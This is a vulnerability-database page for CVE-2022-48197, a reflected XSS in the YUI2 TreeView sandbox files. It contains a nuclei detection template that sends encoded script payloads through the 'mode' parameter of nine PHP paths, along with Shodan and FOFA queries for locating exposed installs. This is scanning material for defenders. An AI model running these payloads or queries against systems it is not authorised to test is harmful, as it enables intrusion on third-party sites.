Lucene search
K

Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting

🗓️ 04 Jul 2026 03:00:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 63 Views

Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting vulnerability in multiple file

Related
Refs
Code
ReporterTitlePublishedViews
Family
0day.today
Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected XSS Vulnerabilities
2 Apr 202300:00
zdt
ATTACKERKB
CVE-2022-48197
2 Jan 202316:15
attackerkb
Circl
CVE-2022-48197
2 Jan 202318:30
circl
CNNVD
yahoo YUI2 跨站脚本漏洞
2 Jan 202300:00
cnnvd
CVE
CVE-2022-48197
2 Jan 202300:00
cve
Cvelist
CVE-2022-48197
2 Jan 202300:00
cvelist
Exploit DB
Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS)
1 Apr 202300:00
exploitdb
NVD
CVE-2022-48197
2 Jan 202316:15
nvd
OSV
CVE-2022-48197
2 Jan 202316:15
osv
OSV
UBUNTU-CVE-2022-48197
2 Jan 202316:15
osv
Rows per page
id: CVE-2022-48197

info:
  name: Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Reflected cross-site scripting (XSS) exists in the TreeView of YUI2 through 2800: up.php sam.php renderhidden.php removechildren.php removeall.php readd.php overflow.php newnode2.php newnode.php.
  impact: |
    Attackers can inject malicious JavaScript through crafted mode parameters in multiple TreeView PHP files, potentially stealing user session tokens and performing actions on behalf of victims when they access the compromised pages.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51198
    - https://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48197
    - http://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
    - https://github.com/ryan412/CVE-2022-48197/blob/main/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-48197
    cwe-id: CWE-79
    epss-score: 0.06608
    epss-percentile: 0.93032
    cpe: cpe:2.3:a:yui_project:yui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 9
    vendor: yui_project
    product: yui
    shodan-query:
      - html:"bower_components/yui2/"
      - http.html:"bower_components/yui2/"
    fofa-query: body="bower_components/yui2/"
  tags: cve,cve2022,packetstorm,yui2,xss,yahoo,treeview,yui_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - "/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1'\"()&%<zzz><script>alert(document.domain)</script>"
          - "widget.TreeView"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e8004910de7cad7e5b84005b3f410b0809c5dbcee4fe343d464975f1658137150220540d0c9bee10e82b1e5cc555811889b73bec01bd3ed390bdd8bed9214860b60a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.16.1
EPSS0.06608
SSVC
63